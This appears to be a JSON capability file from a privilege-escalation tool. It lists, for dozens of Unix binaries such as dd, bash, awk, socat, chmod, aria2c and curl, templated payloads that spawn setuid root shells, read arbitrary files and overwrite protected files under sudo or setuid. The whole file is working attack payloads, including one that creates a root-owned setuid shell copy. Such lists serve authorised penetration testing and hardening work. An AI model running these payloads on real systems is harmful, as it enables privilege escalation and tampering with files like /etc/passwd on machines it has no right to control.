{ // Each item is a list of capabilities for this binary "dd": [ { // This is a read capability "type": "read", // No other commands need to be executed besides the command // "command" exands to the binary path and any arguments provided // If the data needs to be dealt with earlier, you can use "{data}" // here. "payload": "{command} 2>/dev/null", // This is used to pass arguments to the application (auto-merged // into "{command}". // IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE. "args": ["if={lfile}"], // Prepends arguments, if any to the "args" for setuid context. "suid": [], // Input which needs to be passed to the application. All insertions // work here (such as {lfile}, {command}), but also {data} if you are // streaming the data to the remote application. "input": "", // If needed, specify some data that must be sent to exit the remote // application after the read is finished. // "exit": "{ctrl_c}", // This specifies how to handle the data. There can be a few // different values here: // - raw -> the data is unchanged and the controlling terminal // is set to raw mode for effective reading. This mode // requires a known data length and the command will fail // without it. // - print -> the data is unchanged, but the controlling // terminal is not changed to raw mode. Only printable // data is safe from TTY translation. // - base64 -> all data is converted from base64. Data sent // to the remote process should be in base64 form, and the // tty is not set to raw mode. // - hex -> same as base64, but base16 instead. "stream": "raw" }, { "type": "write", "stream": "raw", "payload": "{command} 2>/dev/null", "args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"] }, { "type": "write", "stream": "print", "payload": "{command} 2>/dev/null", "args": ["of={lfile}"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "cp": [ { "type": "write", "stream": "print", // This is weird because under the case where we are running w/ sudo, // we need to ask for the password first. The first "{command}" will // ask for the sudo password, then fail to copy. The second "{command}" // will not ask for the sudo password, and then the copy will succeed. // Without sudo, the first command will simply fail, and the second // will succeed. This is the same for the other `cp` payload below. "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF", "args": ["$TF", "{lfile}"], "exit": "{ctrl_d}" }, { "type": "write", "stream": "base64", "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", "args": ["$TF", "{lfile}"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- // Another example "bash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "raw", "payload": "{command}", "args": ["-c", "'{cat} {lfile}'"], "suid": ["-p"] }, { "type": "write", "stream": "base64", "payload": "{command}", "args": ["-c", "'{base64} -d > {lfile}'"], "suid": ["-p"], "exit": "{ctrl_d}{ctrl_d}" } ], //------------------------------------------------------------------- "dash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "raw", "payload": "{command} -c '{cat} {lfile}'", "suid": ["-p"], "exit": "{ctrl_d}" }, { "type": "write", "stream": "base64", "payload": "{command} -c '{base64} -d > {lfile}'", "suid": ["-p"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "cat": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile}" } ], //------------------------------------------------------------------- "apt": [ { "type": "shell", "args": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } ], //------------------------------------------------------------------- "apt-get": [ { "type": "shell", "args": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } ], //------------------------------------------------------------------- "aria2c": [ { "type": "shell", "payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; $SH -p", "input": "rm $TF; rm $SH; unset TF; unset $SH;\n", "args": ["--on-download-error=$TF", "http://x"], "exit": "exit" } ], //------------------------------------------------------------------- "ash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} -c '{cat} {lfile}'", "suid": ["-p"], "exit": "{ctrl_c}" }, { "type": "write", "stream": "base64", "payload": "{command} -c '{base64} -d > {lfile}'", "suid": ["-p"], "exit": "{ctrl_c}" } ], //------------------------------------------------------------------- "awk": [ { "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} // {lfile}" }, { "type": "read", "stream": "raw", "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" }, { "type": "write", "stream": "print", "args": [ "-v", "LFILE={lfile}", "'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }}'" ] } ], //------------------------------------------------------------------- "gawk": [ { "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} // {lfile}" }, { "type": "read", "stream": "raw", "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" }, { "type": "write", "stream": "print", "args": [ "-v", "LFILE={lfile}", "'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }}}}'" ], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "base32": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile} | {base32} -d", "args": [] } ], //------------------------------------------------------------------- "base64": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile} | {base64} -d", "args": [] } ], //------------------------------------------------------------------- "bpftrace": [ { "type": "shell", "args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"], "suid": ["-p"], "exit": "exit" } ], //------------------------------------------------------------------- "busctl": [ { "type": "shell", "input": "!{shell}\n", "exit": "exit\nq\n" } ], //------------------------------------------------------------------- "byebug": [ { "type": "shell", "payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], "exit": "exit\n" }, { "type": "read", "payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], "exit": "exit\n" } ], //------------------------------------------------------------------- "socat": [ { "type": "shell", "payload": "{command}", "args": ["STDIN", "EXEC:{shell}"], "exit": "exit\n" }, { "type": "read", "payload": "{command}", "args": ["-u", "FILE:{lfile}", "STDOUT"] }, { "type": "write", "stream": "print", "payload": "{command} 2>/dev/null", "args": ["-u", "STDIN", "CREATE:{lfile}"], "exit": "{ctrl_d}" }, { "type": "write", "stream": "base64", "payload": "{base64} -d | {command} 2>/dev/null", "args": ["-u", "STDIN", "CREATE:{lfile}"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "chmod": [ { "type": "shell", "payload": "{command}", "args": ["+s", "{shell}; {shell} -p"], "exit": "exit\n" }, { "type": "read", "payload": "{command} 2>/dev/null", // This is used to pass arguments to the application (auto-merged // into "{command}". // IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE. "args": ["+s", "{dd};", "{dd}", "if={lfile}"], // Prepends arguments, if any to the "args" for setuid context. "stream": "raw" }, { "type": "write", "stream": "raw", "payload": "{command} 2>/dev/null", "args": ["+s", "{dd};", "{dd}", "of={lfile}", "iflag=count_bytes,fullblock", "count={length}"] }, { "type": "write", "stream": "print", "payload": "{command} 2>/dev/null", "args": ["+s", "{dd};", "{dd}", "of={lfile}"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "chroot": [ { "type": "shell", "payload": "{command}", "args": ["/", "{shell}", "-p"], "exit": "exit\n" } ], //------------------------------------------------------------------- "cobc": [ { "type": "shell", "payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF", "args": ["-xFj", "--frelax-syntax-checks", "$TF"], "exit": "exit\n" } // Could we do some file_read and file_write with this too..? We can run cobol... ], //------------------------------------------------------------------- "cpan": [ { "type": "shell", "payload": "{command}", "input" : "! system(\"{shell} -p\")\n", // exit the shell, AND exit cpan "exit": "exit\nexit\n" } // Could we do some file_read and file_write with this too? We can run perl... ], //------------------------------------------------------------------- "cpulimit": [ { "type": "shell", "payload": "{command}", "args": ["-l", "100", "-f", "\"{shell}\""], // exit the shell, AND exit cpan "exit": "exit\n" } // We cannot seem to pass other arguments to process ran, so no read/write (???) ], //------------------------------------------------------------------- "crash": [ { "type": "shell", "payload": "{command}", "args": ["-h"], "input": "!{shell} -p\n", // exit the shell, AND exit cpan "exit": "exit\nq\n" } // We cannot seem to pass other arguments to process ran, so no read/write (???) ], //------------------------------------------------------------------- "csh": [ { "type": "shell", "payload": "{command}", "suid": ["-b"], "input": "{shell} -p\n", // exit the shell, AND exit csh "exit": "exit\nexit\n" }, { "type": "read", "stream": "print", "payload": "{command}", // "suid" is not supplied because it must be very last argument "args": ["-c", "\"{cat} {lfile}\"", "-b"] } // Using write, it doesn't get the entire text to clobber /etc/passwd // { // "type": "write", // "stream": "base64", // "payload": "{command}", // "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"], // // "suid" is not supplied because it must be very last argument // "exit": "{ctrl_d}" // } ], "bsd-csh": [ { "type": "shell", "payload": "{command}", "input": "{shell} -p\n", "suid": ["-b"], // exit the shell, AND exit csh "exit": "exit\nexit\n" }, { "type": "read", "stream": "print", "payload": "{command}", // "suid" is not supplied because it must be very last argument "args": ["-c", "\"{cat} {lfile}\"", "-b"] } // Using write, it doesn't get the entire text to clobber /etc/passwd // { // "type": "write", // "stream": "base64", // "payload": "{command}", // "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"], // // "suid" is not supplied because it must be very last argument // "exit": "{ctrl_d}" // } ], //------------------------------------------------------------------- "curl": [ { "type": "read", "stream": "raw", "payload": "{command}", "args": ["-s", "file://{lfile} --output -"] }, { "type": "read", "stream": "base64", "payload": "{command} | {base64} -w 0", "args": ["-s", "file://{lfile} --output -"] }, { "type": "write", "stream": "print", // This is weird because under the case where we are running w/ sudo, // we need to ask for the password first. The first "{command}" will // ask for the sudo password, then fail. The second "{command}" // will not ask for the sudo password, and then the copy will succeed. // Without sudo, the first command will simply fail, and the second // will succeed. This is the same for the other payload below. "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF", "args": ["-s", "file://$TF --output {lfile}"], "exit": "{ctrl_d}" }, { "type": "write", "stream": "base64", "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", "args": ["-s", "file://$TF", "--output", "{lfile}"], "exit": "{ctrl_d}" } ], //------------------------------------------------------------------- "cut": [ { "type": "read", "stream": "print", "payload": "{command}", "args": ["-d", "''", "-f1", "{lfile}"] } ], //------------------------------------------------------------------- "date": [ { // This is a janky reader that relies on cut to fully carve out the output. "type": "read", "stream": "print", "payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done", "args": ["-f", "{lfile}", "+\"%M%M%M%M%M%M\"", "2>&1"] } ], //------------------------------------------------------------------- "diff": [ { "type": "read", "stream": "print", "payload": "{command}", "args": ["--line-format=%L", "/dev/null", "{lfile}"] } ], //------------------------------------------------------------------- "dmesg": [ { "type": "shell", "payload": "{command}", "args": ["-H"], "input": "!{shell} -p\n", "exit": "exit\nq\n" }, { "type": "read", "stream": "print", "payload": "{command}", "args": ["-rF", "{lfile}"] } ], //------------------------------------------------------------------- "dpkg": [ { "type": "shell", "payload": "{command}", "args": ["-l"], "input": "!{shell} -p\n", "exit": "exit\nq\n" } ] }